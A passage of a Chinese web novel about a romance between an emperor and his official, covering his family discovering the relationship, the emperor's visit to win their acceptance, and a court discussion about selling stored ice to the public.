萧彻自然依他,只将他的手握得更紧了些,仿佛怕这人间烟火气冲散了他。“好,依你,只是人多,小心些。” 两人便顺着人流,缓缓步入那灯火辉煌之处。 夜市热闹非凡。 各色灯笼高悬,将青石板路照得亮如白昼。 小贩们的吆喝声、讨价还价声、孩童的嬉笑声混杂在一起,充满了鲜活的生命力。 卖糖人的、吹面人的、摆弄各式小玩意的摊子前都围满了人,空气里弥漫着食物香甜的气息,还有艾草与菖蒲特有的清苦味道。 林砚拉着萧彻在一个卖糖画的摊子前驻足,看那老艺人手腕翻转,糖稀流淌间,一只栩栩如生的凤凰便跃然板上。 “真厉害!”林砚小声赞叹,扯了扯萧彻的袖子,“我们也买一个?” 萧彻看着他那亮晶晶的眼眸,对那寻常小食并无兴趣,却还是点了点头,示意跟在稍远处的护卫付钱。 老艺人笑呵呵地问:“公子想要个什么图样?” 林砚本想指那凤凰,转念一想,促狭心起,指着旁边一个简单些的小猫:“要这个。” 待那憨态可掬的糖猫咪递到手里,林砚却不吃,只拿在手里把玩,时不时凑到萧彻面前晃一晃,笑嘻嘻道:“陛下你看,像不像阿蛮?” 萧彻看着那圆滚滚的糖猫咪,再想想宫里被林砚纵得愈发圆润的阿蛮,眼底漾开笑意,配合地点头:“嗯,神形兼备。” 两人又逛了会儿,林砚在一个卖香囊的摊子前停下。 那些香囊绣工算不得顶好,但样式别致,填充的草药气息浓郁。 他仔细挑拣着,最后选了一个绣着并蒂莲的深青色香囊,付了钱,转身便塞到了萧彻手里。 “呐,回礼。”林砚微微别开脸,萧彻给他准备了不止一份节礼,他才准备了一份给萧彻。 萧彻低头看着手中这用料寻常,绣工也远不及宫中针线上的香囊,那并蒂莲的图案却让他心口微微发热。 他珍重地将香囊收好,抬眼看向林砚,声音低沉而温柔:“含章所赠,自是最好。” 林砚被他看得脸颊发烫,赶紧拉着他往前走:“快走快走,前面好像有卖冰镇饮子的。” 他这般拉着萧彻在人群中穿梭,虽尽量低调,但两人出众的容貌气度,仍引得路人频频侧目。 只是夜色朦胧,灯火闪烁,倒也无人能立刻认出皇帝陛下。 林砚寻到了卖冰镇饮子的摊子,兴冲冲买了两碗冰镇酸梅汤,递给萧彻一碗。 两人就站在街边,借着喧嚣的人声与灯影掩护,像最寻常的伴侣般,分享着夏夜的清凉。 林砚喝了一大口,满足地眯起眼,一转头,却见萧彻并未动口,只是看着他。 “怎么了?不好喝?”林砚疑惑。 萧彻摇头,声音里带着一丝喟叹:“只是觉得,这般与含章并肩立于市井,听人间喧嚷,看灯火如昼,甚好。” 比那高高在上的龙椅,比那寂静肃穆的宫墙,要好上千百倍。 林砚听懂了他话中未尽的意味,心尖像是被羽毛轻轻搔过,软得一塌糊涂。 他凑近些,借着宽大衣袖的遮掩,用小指勾了勾萧彻的指尖,小声道:“那以后,我们常来。” 萧彻反手握住他作乱的手指,轻轻捏了捏,眼底是化不开的浓稠情意:“好。” 又在街市上流连片刻,眼见夜色渐深,萧彻虽不舍,却也不得不考虑回宫。 他示意了一下,金九无声无息地靠近,低语几句,显然是安排好了回程的马车。 林砚也知时辰不早,虽意犹未尽,还是乖乖跟着萧彻往人少处走,准备上车。 将林砚送至林府侧门附近,马车停下。 萧彻握着林砚的手,并未立刻松开。 “今日……”萧彻看着林砚在月光下格外清亮的眼睛,“我很欢喜。” 林砚笑起来:“我也欢喜。” 他飞快地四下张望,见无人注意,迅速凑上前在萧彻唇上啄了一下:“陛下快回去吧,明日还要早朝。” 说完,不等萧彻反应,他便像只灵活的兔子般跳下马车,脚步轻快地朝着侧门跑去。 萧彻看着他消失在门内,指尖抚过犹带温软的唇瓣,低低地笑了起来。 李德福不知何时已候在车旁,小心翼翼地问:“陛下,回宫吗?” “回吧。” 而林府内,林砚刚踏进自己的院子,还没来得及回味今晚的甜蜜,就见小厮一脸迎上来:“少爷,夫人让您回来后,立刻去前厅一趟。” 哎?他娘大晚上找他做什么? 第104章 第 104 章 他们的儿子和皇帝在一…… 林砚脚步轻快地穿过庭院, 心里还琢磨着母亲深夜相召所为何事。 他踏入前厅的门,脸上的笑意还未完全敛起,就察觉到了气氛的不同寻常。 厅内灯火通明, 父母端坐于上首, 父亲手指无意识地敲着扶手,眉头微蹙, 母亲则是眼圈泛红,手里紧紧攥着帕子, 目光复杂地落在他身上,妹妹坐在下首,低着头,手指绞着衣角,一副坐立难安的模样。 这阵仗, 像是三堂会审。 林砚心头莫名一紧,面上却依旧维持着轻松,走上前笑着问道:“爹,娘,墨儿,这么晚了, 有什么事要商量?搞得这般正式。” 文韫看着儿子一脸灿烂地进来, 心头更是酸涩难言,她张了张嘴, 话未出口,眼圈先红了一圈,最终还是不忍地别开了脸。 林墨见母亲如此,又看看哥哥,只好鼓起勇气开口:“哥, 你今日,过得高不高兴?” 林砚被问得一愣,下意识回答:“当然高兴。”跟男朋友约会,看龙舟、逛夜市,怎么会不高兴? 他这一句“高兴”,像是一根针,轻轻扎在了文韫心上。 文韫猛地吸了口气,像是下定了决心,转回头看向林砚,声音带着颤抖:“砚儿,娘跟墨儿今日在河边,都看见了。” 林砚心头猛地一跳,面上却强自镇定:“看见?看见什么了?” 文韫闭了闭眼,再睁开时,眼底已是一片湿意:“看见你今日,并未如你所说去与同僚踏青,而是、而是跟一个男子,举止亲密地逛街。” 她几乎是抖着唇,才将“举止亲密”四个字说出口,每一个字都沉甸甸的。 那双泛红的眼睛紧紧盯着林砚,颤声问:“那个男人,是谁?” 虽然儿子早就坦诚过他不喜女子,是个断袖,可亲眼见到儿子与一个陌生男子在夜色下牵手同行,那般亲昵无间,文韫心里还是像被什么东西狠狠揪住,难受得喘不过气。 那画面在她脑中挥之不去,让她又是心痛,又是担忧。 与此同时,林府外,一道黑影如同融入夜色般悄然离去,正是金九。 金九毫不犹豫,身形如电,朝着皇宫方向疾驰而去。 萧彻的马车刚驶离林府不远,正不疾不徐地行在寂静的街道上。 车内,萧彻指尖犹自摩挲着林砚塞给他的那个并蒂莲香囊,唇角噙着一抹温柔的笑意,回味着方才那个蜻蜓点水却又撩人心弦的告别吻。 就在这时,马车外传来一阵极其轻微的衣袂破风声,随即是金九压低的声音急促响起:“陛下,林府有变!” 萧彻面上的笑意瞬间敛去,眸光一沉:“说。” 金九言简意赅:“林大人回府后即被请至前厅,林家夫人、小姐及林老大人皆在,观其情状,似是今日陛下与林大人同行之事,被林夫人与林小姐撞见了。” 萧彻的心猛地一沉。 被看见了? 含章要面对家人的质询? 萧彻几乎能想象出林砚此刻的处境——父母的震惊、失望、担忧,妹妹的无措……含章最重亲情,此刻心中该是何等煎熬? 他不能让林砚独自承受这些。 这本是他们两人的事,理应由他一同面对,若是让林家二老因此对含章心生芥蒂,或是让含章受了委屈…… 萧彻不敢再想下去。 “调头!”萧彻的声音带着不容置疑的决断,甚至透出一丝连他自己都未察觉的急迫,“去林府,快!” “是!”驾车的金影卫毫不犹豫,猛地一拉缰绳,训练有素的骏马发出一声嘶鸣,车轮在青石板上划出一道急促的声响,马车瞬间调转方向,朝着林府疾驰而去。 车厢内,萧彻背脊挺直,放在膝上的手不自觉地握紧。 他从未像此刻这般紧张过,即便是面对父皇曾经的步步紧逼,或是边境传来的紧急军情,也不曾让他如此心绪翻涌。 萧彻在脑海中飞速思索着。 林家父母虽非刻板迂腐之人,但骤然得知儿子与男子相恋,对象还是皇帝,这冲击绝非寻常。 他们会如何看含章?会不会觉得是含章攀附帝心?或是担忧含章日后处境?会不会因此阻挠? 他要亲自去说明,去承担,要告诉林家父母,是他萧彻心悦林砚,是他苦苦追求,是他离不开林砚。 所有的压力、所有的非议,都该由他萧彻来扛。 马车在寂静的夜里狂奔,速度远超来时。 萧彻只觉得这段路从未如此漫长过,他撩开车帘一角,望着前方黑暗中林府隐约的轮廓,心中只有一个念头:快些,再快些。 他的含章,在等着他。 …… 林砚彻底怔住了。 娘亲和妹妹,看见了他跟萧彻? 既然问那个男人是谁,看来是她们对萧彻并不熟悉,加之夜色深沉,距离可能也有些远,并未认出那个与他携手并肩的男人就是当今圣上。 若是认出来了,此刻恐怕就不是这般压抑着情绪询问,而是要吓得魂飞魄散,不知如何是好了。 林承稷看着儿子怔忡的表情,心中也是五味杂陈。 儿子是断袖这件事,他早已知道,也试图去理解和接受,可当这件事以如此具体而鲜活的方式呈现在眼前——儿子真的与一个男人在一起了,他心中仍是涌起一股难以言喻的无奈和怅惘。 既然改不了,那也只能接受,总不能真把儿子给打死。 可他还没做好儿子就这么跟别的男人在一起的准备啊! 况且他儿子可是朝廷重臣,每日忙得脚不沾地,为什么还能有时间去认识别的男人! 这男人是哪来的?何时认识的?品性如何? 一连串的问题砸得林承稷脑仁发疼。 林墨见父母神色各异,都难言得很,只好再次由她开口,声音细弱却清晰:“哥,你是不是真的要跟那个男人在一起?是不是以后,会带那个男人回家?” 她问得小心翼翼,整个人很无措,虽然知道哥哥不喜欢女子,但亲眼见到哥哥与男子那般亲近,对她的冲击还是太大。 林砚被妹妹的话问得回过神来,他张了张嘴,喉咙却像是被堵住了一样。 怎么说? 直接说那个男人是皇帝? 林砚几乎能想象到这话出口后,家里会是怎样一番天翻地覆的景象。 母亲可能会吓到不行,父亲大概会立刻拖着全家去宫门口跪着请罪…… 就在林砚心乱如麻,不知该如何开口,厅内气氛凝滞到极点时—— “砰!” 林府大门方向忽然传来一声不算太重,却足以打破寂静的闷响,似乎是有人急匆匆闯了进来,与门房发生了些许碰撞。 紧接着,一阵急促而沉稳的脚步声由远及近,飞快地朝着前厅而来。 厅内四人皆是一怔,下意识地循声望去。 只见一道高大挺拔的身影,骤然出现在前厅门口。 来人一身石榴色常服因快步疾走而略显凌乱,发丝也散落了几缕在额前,呼吸带着微喘,显然是匆匆赶来,然而,即便如此,也难掩其周身那股与生俱来的尊贵气度与深沉威仪。 不是萧彻又是谁? 萧彻目光如电,瞬间扫过厅内情形,将文韫的红眼眶、林承稷的凝重、林墨的惶惑,以及林砚那带着惊慌和无措的背影尽收眼底。 他来晚了一步,让他的含章独自面对这般窘迫与压力。 几乎是萧彻出现的瞬间,林承稷和文韫就如同被施了定身术般僵住。 林承稷手中的茶盏“哐当”一声掉在地上,摔得粉碎,他却浑然不觉,只是瞪大了眼睛,难以置信地看着门口那人。 陛下?! 文韫更是惊得猛地从椅子上站了起来,脸色煞白,手下意识地捂住了嘴,才没让自己惊呼出声。 在这种时候,陛下匆忙而来,难道说…… 萧彻无视了林家父母那几乎要惊掉下巴的表情,他的目光牢牢锁在林砚身上,快步走到他身边,极其自然地伸出手,紧紧握住了林砚那冰凉微颤的手。 然后,萧彻转过身,面向震惊到失语的林承稷和文韫,深吸一口气,竟是主动深深地躬身行了一礼。 “林爱卿,文夫人。”萧彻的声音低沉而清晰,带着前所未有的郑重,“深夜冒昧打扰,实非得已,方才在门外,隐约听到诸位问话,今日与含章一同出游,举止亲密之人,是朕。” 他抬起头,目光坦诚而坚定地迎上林承稷和文韫惊骇的目光,一字一句,掷地有声:“朕与林砚,两情相悦,已互许终身,朕在此向二位保证,必以真心待他,珍之重之,绝不辜负,此生唯愿与他一人相伴,绝无二心。” 这番话如同一记惊雷,狠狠劈在了林承稷和文韫的头顶。 两情相悦? 互许终身? 他们的儿子和皇帝在一起了?! 天老爷啊! 林承稷只觉得眼前一阵发黑,脚下发软,差点没站稳。 文韫更是摇摇欲坠,全靠扶着椅子才勉强站住。 世间男子那么多,怎么偏偏是皇帝呢? 而此刻,被萧彻紧紧握住手的林砚,看着萧彻放下帝王身段,也是一惊。 明明可以用身份压人,随便找个借口就能糊弄过去,或者干脆什么都不用解释,皇帝要谁,还不是一句话的事吗? 这一瞬间,林砚忘记了紧张,忘记了尴尬。 萧彻感受到林砚的手在微微颤抖,握着林砚的手便更紧了几分,指尖在他手背上轻轻摩挲了一下,带着无声的安抚。 他能猜到林砚在想什么,可眼前的人是林砚的家人。 对他们,只能用真心换取真心,如何能用皇权压制? 若以势压人,即便他们表面顺从,心中又该如何看你,看我?你我之间,又岂是寻常帝王与臣子的关系? 他要的,是林砚快快乐乐地和他在一起,是得到他家人真心的认可与祝福,而不是靠着皇帝的身份,换来一份战战兢兢的应允。 萧彻再次看向尚未从巨大冲击中回过神来的林承稷和文韫,语气放缓,带着十足的诚恳:“林爱卿,文夫人,朕知此事突兀,一时难以接受,朕亦知,朕与林砚之情,不容于世,更会令二位忧心忡忡,一切责难与疑虑,皆由朕一力承担,朕只恳请二位,能给朕一个机会,莫要因此为难含章。” 他说着,竟又是微微躬身。 林承稷看着眼前这位九五之尊,为了自己的儿子,一再放低姿态,言辞恳切,心中那滔天的巨浪竟奇异地开始缓缓平息,取而代之的是一种极其复杂的情绪——有荒谬,有惶恐,有担忧,但更多的,是一种难以言喻的动容。 皇帝陛下,竟是真心待砚儿的。 哎,皇帝就皇帝吧,怎么也比北戎王子好。 文韫看着皇帝紧紧握着儿子的手,看着皇帝眼中那毫不作伪的深情与坚定。 儿子口中那个让他“高兴”的“同僚”,是陛下。 原来儿子并非他们所想的那般,被什么来路不明的男人迷惑。 这么一想,尚且还能接受。 文韫强行压下心中的惊涛骇浪,拉着还在发懵的丈夫,对着萧彻行了一个大礼。 “陛下。”文韫的声音依旧带着颤抖,却多了一丝清明与决断,“陛下言重了,臣妇与夫君,不敢受陛下如此大礼。” 她抬起头,目光在林砚和萧彻交握的手上停留了一瞬,最终看向萧彻,轻声道:“孩子们……孩子们的心意既已如此,我们做父母的只盼着他们能好。” 这话说得委婉,却几乎是默认。 林承稷也终于找回了自己的声音,虽然依旧干涩:“陛下厚爱,是犬子的福分,只是日后……” 他想说日后艰难,想说世道险恶,想说这条路不好走,可看着皇帝那双深邃却坚定的眼睛,看着儿子那终于放松下来,带着依赖看向皇帝侧影的模样,千言万语,最终只化作一声长叹。 “日后,还望陛下……多加看顾。” 这便是接受了。 萧彻心中一块大石落地,眼底漾开真切的笑意,他再次郑重承诺:“二位放心,朕定护他周全,不让他受半分委屈。” 一直紧绷着神经的林砚,听到父母这话,瞬间松了老大一口气,差点腿软瘫下去,幸好被萧彻稳稳扶住。 林砚忍不住看向萧彻,嘴角控制不住地向上扬起,心里像是打翻了蜜罐。 【搞定!我就知道我爹娘最开明了!】 【萧彻你太帅了!这波操作我给你满分!】 【呜呜呜以后可以正大光明带男朋友回家吃饭了!】 听着林砚那瞬间阴转晴、的欢快心声,萧彻眼底的笑意更深,忍不住侧头,极其自然地抬手,用指尖轻轻揩去林砚眼角那点未干的湿意。 这亲昵无比的动作,再次看得林承稷和文韫眼皮一跳,心情复杂之余,却也有一种“果然如此”的释然。 罢了罢了,儿孙自有儿孙福。 只要陛下是真心,儿子是快乐,他们除了接受和祝福,还能怎么办 一直没说话的林墨过了许久,似是才回过神来,她望着林砚和萧彻喃喃:“天,我的嫂子是陛下?” 林承稷:“……” 文韫:“!!!” 这话可不兴说出口啊! 林砚忍俊不禁:“没错,你嫂子是陛下。” 林承稷和文韫不约而同地将目光投向皇帝陛下,只见皇帝陛下很是受用地点了点点头:“对,朕是你的嫂子,你有什么想要的都可以找嫂子,嫂子送给你。” 不是赏赐,而是送,还应了一个男嫂子的身份。 林承稷倒吸一口气,他儿子确实不是什么妖精吧?—— 作者有话说:以另外一种方式成为皇亲国戚[狗头] 第105章 第 105 章 睡龙榻?用御书房?坐…… 还有……为什么女儿也是个胆子大的, 真敢喊皇帝喊“嫂子”! 林墨这句石破天惊的“嫂子”,又是一道惊雷劈在了林承稷和文韫的脑门上,两人眼前一黑, 差点双双晕厥过去。 让皇帝当“嫂子”?他们林家有几个脑袋够砍? 林承稷冷汗涔涔, 腿肚子转筋,恨不得立刻扑上去捂住女儿的嘴。 文韫更是急忙开口:“墨儿!不可胡言!陛下面前, 岂容放肆!”声音都吓得变了调。 然而,帝王之怒并未降临。 萧彻非但没有动怒, 反而因林砚那句理直气壮的“没错,你嫂子是陛下”和自家妹妹那声清脆的“嫂子”,越发喜笑颜开了。 他甚至还煞有介事地点了点头,对着目瞪口呆的林墨温声道:“嗯,朕是你的嫂子, 日后在宫里或是宫外,有什么想要的,或是有人欺负了你,尽管来告诉你哥,或者直接来告诉朕,嫂子给你撑腰。” 萧彻这“嫂子”自称得无比自然, 仿佛只是在陈述一个再普通不过的事实, 甚至还带着点“长嫂如母”般的责任感。 林承稷:“!!!” 陛下!你来真的啊?! 文韫扶着额头,感觉需要找个大夫调理一下了。 林砚则乐不可支, 用手肘轻轻撞了一下萧彻,挤眉弄眼:“听见没?以后可得好好当你的嫂子,别辜负了妹妹的期待。” 萧彻从善如流,再次点头,目光扫过林承稷和文韫那五彩纷呈的脸色, 补充道:“林爱卿,文夫人也请放心,既是一家人,朕自然会多看顾妹妹,不会让她受了委屈。” 林承稷和文韫张了张嘴,喉咙里像是塞了一团棉花,一个字也吐不出来。 还能说什么? 皇帝陛下自己都认了“嫂子”这个身份,他们难道还能跳起来反对,说“陛下您不能当我们林家的媳妇”吗? 借他们一百个胆子也不敢啊! 况且,看陛下这架势,分明是乐在其中。 林承稷不是个信奉鬼怪之人,此时却想修书一封回老家,让老家那边找人看看哪个祖坟埋得不好。 荒谬,太荒谬了! 可这荒谬之中,又透着一股让人心安的力量。 陛下愿意为了砚儿,做到如此地步,连“嫂子”这种称呼都能坦然接受,甚至带着纵容,他们做父母的,还有什么可纠结、可担心的? 林承稷深吸一口气,再缓缓吐出,仿佛要将胸腔里所有的震惊、无奈和最后那点纠结都吐出去。 他拉着依旧处于懵圈状态的文韫,再次深深行礼,声音带着认命般的疲惫,却又有一丝如释重负:“臣,谢陛下隆恩。” 儿子找了个皇帝当……当夫人,皇帝还自愿当“嫂子”。 这放眼全大渝,也是独一份了。 他认了! 文韫也终于从巨大的冲击中缓过神来,看着并肩站在一起的儿子和皇帝陛下,两人之间那种自然而然的亲昵和默契,是骗不了人的。 她轻轻叹了口气,脸上挤出一个有些僵硬却真诚的笑容:“陛下厚爱,是砚儿和墨儿的福气,日后若有需臣妇之处,陛下尽管吩咐。” 这就是彻底接纳,并且摆正了“亲家”的态度。 萧彻闻言,眉眼舒展,显然对此十分满意:“夫人言重了。” 他又看了一眼窗外浓重的夜色,意识到时辰确实不早,虽不舍,却也不得不离开了。 “时辰不早,朕不便久留。”萧彻说着,目光转向林砚,带着显而易见的眷恋,手指在他掌心轻轻挠了一下,“含章,朕先回宫了。” 林砚感受到他小动作里的亲昵,点了点头:“嗯,路上小心。” 萧彻又对林承稷和文韫微微颔首,这才转身,在李德福等人的簇拥下,大步离去,那身石榴色常服很快消失在夜色里。 皇帝一走,前厅内紧绷的气氛瞬间松弛下来。 林承稷像是被抽干了力气,一屁股瘫坐在椅子上,喃喃道:“我这心跳,到现在还跟打鼓似的。” 文韫也坐了回去,扶着额头,感觉像做了一场光怪陆离的梦。 林墨却兴奋地凑到林砚身边,眼睛亮闪闪的,压低声音问:“哥!快跟我说说!你跟陛下,是怎么在一起的?什么时候的事?你们平时都做什么?陛下他私下里也这么好说话吗?” 她实在找不到合适的词来形容那位自愿当她“嫂子”的皇帝陛下。 林砚看着妹妹那八卦之火熊熊燃烧的模样,好笑地揉了揉她的头发:“小孩子家,打听这么多做什么?” “我都及笄了,不是小孩子了。”林墨不满地嘟嘴,“哥你快告诉我嘛,我真的很想知道。” 文韫听着儿女的对话,无奈地摇了摇头,但并未阻止。 事已至此,多了解一些,或许心里也能更踏实些。 她看向林砚,语气温和却带着不容置疑:“砚儿,既然陛下与你已到了这一步,有些事,娘也得问问清楚。” 林砚收敛了玩笑的神色,正襟危坐:“娘您问。” 文韫斟酌着词句,小心翼翼地问:“你与陛下,是何时互许终身的?”她需要确认,儿子不是一时冲动,或者是为了权势地位。 林砚老实回答:“是去年,给北戎使团接风宴那晚。” 文韫在心中一算,竟然都快半年了。 她恍然道:“难怪这半年来,陛下赏赐我们家的东西络绎不绝,花样繁多,原来不全是因为你公务办得好。”敢情大半是冲着儿子这个人来的。 林承稷也想起了这茬,捋着胡子,心情复杂。 他当初还以为是皇帝只是纯粹赏识儿子的才干,欣慰不已,没想到真相竟是如此。 “那你……”林承稷清了清嗓子,问出了最关键的问题,“为何偏偏是陛下?你可想清楚了?天家之情,非同小可,日后若有变故,你可有退路?” 他问得隐晦,但意思很明白,皇帝现在对你情深义重,可以后呢?皇帝能一辈子只有你一人吗?若将来皇帝迫于压力纳妃立后,你待如何? 林砚听懂了父亲的担忧,他笑了笑,眼神清澈而坚定:“爹,不是陛下,难道您希望是阿古拉吗?” 一提到那个曾在宫宴上当众求娶林砚的北戎王子,林承稷就头大如斗,连连摆手:“休要胡言!” 林砚正色道:“爹,娘,我选择陛下,只因为他是萧彻,是那个与我心意相通,懂得我所有不甘与抱负,也会在我面前流露出真实情绪的人,我们在一起,只因为我们是彼此,与身份无关。” 他顿了顿,继续道:“至于退路,我从未想过需要退路,我信他,如同信我自己,若真有那么一天,那也是我林砚自己选的路,绝不后悔,更何况,你们觉得,以他的性子,是那种会委屈求全,受人摆布的人吗?” 想到萧彻登基后的种种铁腕手段,以及他方才那句“此生唯愿与他一人相伴”的誓言,林承稷和文韫沉默了。 是啊,那可是萧彻。 连先皇和满朝文武都奈何不了他,他若不愿,谁能逼他? 林墨则更好奇另一件事:“哥,那你跟陛下平时相处,是什么样子的?他可是皇帝,你们在一起,会不会很规矩?”她想象不出哥哥跟皇帝谈恋爱的画面,总觉得应该充满了繁文缛节。 不过在城南看见她哥跟陛下相携,好像比寻常夫妻反而更亲近呢。 林砚被妹妹的问题逗笑了,语气理所当然:“他是皇帝,可他也是萧彻啊,我为什么要时时刻刻像臣子一样对他?我是给自己找了个心悦之人,又不是找了个需要时刻供着的神仙,宫里宫外,我们就像寻常伴侣一样,一起用膳,聊天,看书,偶尔他批奏折,我就在旁边看闲书或者算我的账……” 他想了想,又补充了一些细节:“我们还在宫外有个宅子,叫丹园,是他以前做太子时的私宅,很清静,我们常去那里。在宫里,我也不住清漪阁了,直接宿在紫极殿,睡他的龙榻,用他的御书房,偶尔兴起,还会坐坐他的龙椅。” 林承稷和文韫听着儿子用如此平淡的语气,说着这些堪称“大逆不道”的事情,心情已经从最初的惊恐,逐渐变得麻木。 睡龙榻?用御书房?坐龙椅? 行吧。 皇帝陛下自己都没意见,他们还能发表什么意见? 只要陛下不觉得被冒犯,他们也只能选择习惯。 经过这一番深入且不断刷新认知的交谈,林家人对林砚和萧彻的关系,终于有了更清晰也更深刻的认识。 不是帝王对臣子的宠幸,而是两个独立个体之间,平等且真挚的情感。 虽然这情感的形式超出了世俗的认知,但那份真心,做不得假。 文韫看着儿子提到陛下时,眼中不自觉流露出的光彩和幸福,最后一点担忧也放下了。 她轻轻握住林砚的手,柔声道:“既然你心意已决,陛下待你又如此真心,娘和你爹,也唯有祝福,只是莫要因陛下宠爱便失了分寸,给陛下招惹麻烦。” 林砚回握住母亲的手,郑重答应:“娘,您放心,儿子明白。” 林承稷也长叹一声,摆了摆手:“罢了罢了,时辰不早了,都散了吧,明日还要上早朝。” 说着,林承稷看了一眼林砚,眼神复杂。 儿子和皇帝是这种关系,那他明天上朝,是该用看上司的眼神看陛下,还是用看“儿媳妇”的眼神? 林承稷被自己这个念头吓得一个激灵,赶紧甩甩头,把这大逆不道的想法驱散。 不能想不能想,陛下还是陛下。 他们家有一个大逆不道的就够了。 这一夜,林府注定有人难以好眠。 而皇宫中,回到紫极殿的萧彻,沐浴更衣后,独自躺在宽大的龙榻上,却有些辗转反侧。 榻上似乎还残留着林砚身上清爽的气息,少了那个温软的身体在怀,觉得有些空落落的。 这龙榻宽大,果然就是应该两个人一起睡—— 作者有话说:不在龙椅上这样那样,萧彻就不错了[狗头] 第106章 第 106 章 哦,也有可能晚上也不…… 林砚迈进御书房门槛的瞬间, 一股清凉气息便扑面而来,将外头裹挟的暑热瞬间荡涤干净,舒服得几乎要喟叹出声。 啊, 虽然已经穿越了二十几年了, 还是怀念现代社会的空调。 萧彻正坐在窗边的榻上看折子,听见动静抬起头, 见他额角鼻尖都沁着细汗,脸颊也热得泛红, 便放下手里的东西,朝他招了招手:“过来。” 林砚从善如流地走过去,很自然地在萧彻身边坐下,拿起他面前小几上那杯显然没动过的冰镇梅子汤,咕咚咕咚灌下去半杯, 冰凉酸甜的液体滑过喉咙,他满足地呼出一口气:“活过来了。” 萧彻看着他这副毫无形象可言的样子,眼底漾开一点笑意,拿起扇子,不紧不慢地替他扇着风:“外头日头这般毒,也不知晚点再过来。” “急着来蹭陛下的冰嘛。”林砚理直气壮, 又抿了一口梅子汤, 感受着杯壁沁凉的触感,目光在殿内角落那冒着丝丝白气的冰鉴上流连, “还是陛下这里舒服。” 林砚想起自家的情况。 今年萧彻登基后,体恤臣子,赐冰的份例比往年宽裕了不少。 他和他爹林承稷都有份,不过冰块在这时节终究是稀罕物,价格不菲, 他便将自己那份,连同父亲那份的大半,都让母亲文韫收着,给母亲和妹妹林墨用,反正他和父亲白日都在公廨应卯,总能蹭到官署的冰,他自己更是能时时跑来萧彻这里纳凉,怎么算都不亏。 萧彻哪能不知道他那点小算盘,扇子轻轻敲了下他的额头:“精打细算。” 林砚嘿嘿一笑,顺势往萧彻身上靠了靠,享受着人形冰扇加沉水香薰的双重服务,懒洋洋地道:“我来的路上,看见街头那些卖饮子的铺子,生意好得不得了,有钱人家让伙计捧着食盒,急匆匆地往里头送冰,制成冰镇饮子,一碗能卖出天价,寻常百姓就只能买用井水镇过的。” 他说着,思绪有些飘远。 大渝朝算是古代社会中经济发展水平极高的了,商业繁荣,市面上甚至有专门的冰铺,只是数量极少,价格高昂得令人咋舌。 就连他们家,在父子二人升官前,也绝无可能时常消费这种奢侈品。 林砚隐约记得穿越前看过的《东京梦华录》之类的书里,记载着宋朝市井间就有售卖“冰雪冷元子”、“生淹水木瓜”、“甘草冰雪凉水”等各式冷饮,且在民间颇为流行。 凭什么那些被萧彻收拾掉的宗室蛀虫,以前能挥霍着冰块享受,大渝的百姓们却连尝都尝不到? 萧彻听他语气里带着点不平,目光从折子上移开,落在他微蹙的眉心上:“在想什么?” 林砚坐直了些,眼神亮晶晶地看着萧彻:“陛下,我在想,那些被裁撤的宗室,往年耗费的冰炭份例可不是小数目,如今这笔开销省下来了,除了用来增加官员福利,应当还有不少结余吧?” 萧彻颔首,示意他继续说。 清理宗室是他登基后的重要举措之一,确实空出了大量资源。 “我在想,能不能把这冰,放到民间去?”林砚语气带不清楚大渝的冰政制度,只是提出自己的想法,“让咱们大渝的百姓,在炎炎夏日里,也能享受到一丝清凉?哪怕不是家家户户都用得起,至少让那冰镇饮子,不再只是富家子弟的专属。” 他想起端午那日和萧彻在宫外喝的饮子,虽是井水镇过,也算解渴,但和加了冰块的比起来,终究是云泥之别。 若是民间也能有冰流通,哪怕价格稍贵些,总归是多了个盼头,夏日里也能多一分舒爽。 他只是个普通人,做不到改变这个封建社会的时代,却也想做点什么。 萧彻闻言,神色微动。 他自幼长于宫廷,虽知民间疾苦,但于这些细微处的享乐,并未深思过。 此刻听林砚提起,再联想到那些被削减用度的宗室往日奢靡无度,而自己的子民却连一碗冰镇饮子都难得,心头那股不平之气也被勾了起来。 “朕的子民,凭什么不如那些蛀虫?”萧彻语气平淡,眸色却深了些,“含章这想法,倒是有趣,细细说来。” 林砚见他有意,精神大振,掰着手指头道:“陛下你看,咱们有现成的冰井务,负责冬日藏冰,夏日供宫廷所用,以往冰块除了宫内,便是赏赐给勋贵官员,如今宗室削减,冰的储量定然有富余,咱们可以拿出一部分,以官方的名义,在京城设立几处发售点,以低于那些私人冰铺的价格,限量售卖给有需求的商户,比如那些大的饮子铺、酒楼食肆,同时,工部的都水清吏司可以负责勘测,看看能否在合适的地方挖掘新的冰窖,扩大储冰规模,户部则负责核算成本、定价和收支,礼部嘛……毕竟冰政原就归他们管,协调沟通少不了他们。” 他越说思路越清晰,眼睛也越亮:“一开始或许只在京城试行,若效果不错,未尝不可推广到别的繁华大邑,即便不能人人用上,至少能让这夏日里的珍贵之物,不再那么高不可攀,百姓们手里若有余钱,花上几文钱买一碗真正的冰镇饮子,定然是高兴的。” 萧彻听着林砚条理分明的阐述,看着他因兴奋而泛红的脸颊,心底一片柔软。 他的含章,总是这么好。 “好。”萧彻几乎没有太多犹豫,便做了决定,“此事可办。” 他本就是雷厉风行的性子,既然觉得可行,便不欲拖延,当即扬声唤道:“李德福。” 李德福应声而入。 “传朕口谕,召礼部尚书、侍郎,工部尚书、侍郎、都水清吏司郎中,户部尚书、侍郎,即刻入宫议事。”萧彻吩咐完,又补充了一句,“天气炎热,让御膳房备些冰镇饮子、时令瓜果,再搬几座冰鉴到议事偏殿去。” “老奴遵旨。”李德福领命,匆匆而去。 林砚没想到萧彻动作这么快,一时有些愣神:“现在就叫他们来?” “既然要做,自然是越快越好。”萧彻拉着他起身,“走吧,林侍郎,先去偏殿等着,也给朕好好讲讲。” 二人移步偏殿。 不多时,被传召的官员们便陆续到了。众人听闻陛下急召,本有些忐忑,一进偏殿,却先被那充足的冰鉴凉气和摆在一旁的冰镇瓜果饮子安抚了几分。 萧彻也没绕圈子,直接将林砚关于将部分官冰放于民间发售的构想说了出来。 此言一出,几位大臣皆是面露惊异,随后便热烈地讨论起来。 因是林砚提出的想法,萧彻没多言,只管让林砚跟其他人探讨,只偶尔在林砚需要支持时,淡淡补充一句,或是在官员争论不下时,一锤定音。 偏殿内虽因讨论而显得有些喧闹,但冰鉴散发着丝丝凉意,手边还有陛下特意准备的冰镇饮品瓜果,大臣们倒也不觉烦躁,反而越讨论越觉得此事可行。 萧彻看着臣子们从最初的惊疑到如今的投入,再看坐在其中,眼神发亮,言谈自信的林砚,唇角不自觉地带上了笑意。 含章合该如此,施展他的才华与抱负。 一个下午的时间,就在这般热烈而高效的讨论中过去。 